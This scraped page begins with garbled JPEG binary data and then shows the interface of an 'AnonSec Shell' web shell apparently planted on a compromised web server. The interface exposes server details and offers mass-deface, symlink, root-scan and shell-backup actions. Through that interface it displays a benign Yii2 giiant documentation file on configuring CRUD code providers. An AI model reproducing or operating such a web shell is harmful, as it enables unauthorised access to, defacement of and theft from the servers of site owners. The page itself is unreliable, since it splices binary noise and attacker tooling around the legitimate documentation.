JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.217.81   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/httpdocs/vendor/schmunk42/yii2-giiant/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/httpdocs/vendor/schmunk42/yii2-giiant/docs/30-using-providers.md
# Using Giiant with Providers

The following code should be added to the bootstrap of your yii application.  


Customization with providers
----------------------------

- *CallbackProvider* universal provider to modify any input, attribute or column with highly flexible callback functions
- *RelationProvider* renders code for relations (eg. links, dropdowns)
- *EditorProvider* renders RTE, like `Ckeditor` as input widget
- *DateTimeProvider* renders date inputs
- *OptsProvider* render a populated dropdown, if the model contains and `optsColumnName()` method.


## Usage

In many cases you want to exchange i.e. some inputs with a customized version for your project.
Examples for this use-case are editors, file-uploads or choosers, complex input widget with a modal screen, getting
data via AJAX and so on.

With Giiant Providers you can create a queue of instances which may provide custom code depending on more complex
rules. Take a look at some existing [giiant providers](https://github.com/schmunk42/yii2-giiant/tree/master/crud/providers).

Configure providers, add this to your provider list in the form or command configuration:

    \schmunk42\giiant\generators\crud\providers\EditorProvider,
    \schmunk42\giiant\generators\crud\providers\SelectProvider,
    \schmunk42\giiant\generators\crud\providers\OptsProvider,


And configure the settings of the provider, add setting via dependecy injection this to your application config, eg. in `console/config/bootstrap.php`:

    \Yii::$container->set(
        'schmunk42\giiant\generators\crud\providers\EditorProvider',
        [
            'columnNames' => ['description']
        ]
    );

This will render a Ckeditor widget for every column named `description`.

    <?= $form->field($model, 'description')->widget(
    \dosamigos\ckeditor\CKEditor::className(),
    [
        'options' => ['rows' => 6],
        'preset' => 'basic'
    ]) ?>


Configuration
-------------

### Universal `CallbackProvider`


The callback provider allows you to override the values of model attributes during code generation.  There are 3 sections this applies to:

- `columnFormats` - used in `GridView` on the `index` view.
- `attributeFormats` - used in `DetailView` on the `view` view.
- `activeFields`, `prependActiveFields` and `appendActiveFields` - used in `ActiveForm` on the `_form` view.

These three properties `activeFields` (form), `columnFormats` (index) and `attributeFormats` (view) take an array of callbacks as input. 
The keys are evaluated as a regular expression to match the namespaced class and attribute name.

While the callback function takes the current `attribute`, `model` and `generator` as input parameters.

The configuration can be done via the dependency injection container of Yii2.

Define callbacks for input fields, which should be generated in `_form` view

#### Shorthand function

    $checkboxField = function ($attribute, $model, $generator) {
        return "\$form->field(\$model, '{$attribute}')->checkbox()->label('active')";
    };

#### Generate a checkbox for specific column (model attribute)

```
$activeFields = [
   'models\\\\Foo.isAvailable' => $checkboxField,
];
```

Finally add the configuration via DI container

```
\Yii::$container->set(
    'schmunk42\giiant\generators\crud\providers\CallbackProvider',
    [
        'activeFields'  => $activeFields,
        'columnFormats' => $columnFormats,
        'attributeFormats' => $attributeFormats,
    ]
);
```

**[More examples for this provider...](31-callback-provider-examples.md)**



### Specialized providers

#### `DateTimeProvider`

Use a DateTimePicker for the `scheduled_at` field:

```php
\Yii::$container->set('schmunk42\giiant\generators\crud\providers\DateTimeProvider', [
    'columnNames' => ['scheduled_at'],
]);
```


#### `OptsProvider`

**NOTE** The OptsProvider matches every model with opts methods for a field, i.e. method `optsMembers` matches for model attribute `members`.

##### Example Model

Below is an example of the model we are working with.  The methods required are:

- `optsStatus` - return dropdown data in the `ActiveForm` on the `form` view.
- `getStatusLabel` - return html string to be used in `GridView` and `DetailView` on the `index` and `view` pages.

```php
<?php
namespace app\models;
use Yii;

class Job extends base\Job
{
    const STATUS_REQUESTED = 'requested';
    const STATUS_SCHEDULED = 'scheduled';
    const STATUS_DELIVERED = 'delivered';

    public static function optsStatus($type = null)
    {
        return [
            null => '',
            self::STATUS_REQUESTED => self::STATUS_REQUESTED,
            self::STATUS_SCHEDULED => self::STATUS_SCHEDULED,
            self::STATUS_DELIVERED => self::STATUS_DELIVERED,
        ];
    }

    public function getStatusLabel()
    {
        return '<span class="label label-status-' . $this->status . '">' . $this->status . '</span>';
    }

}
```

Anon7 - 2022
AnonSec Team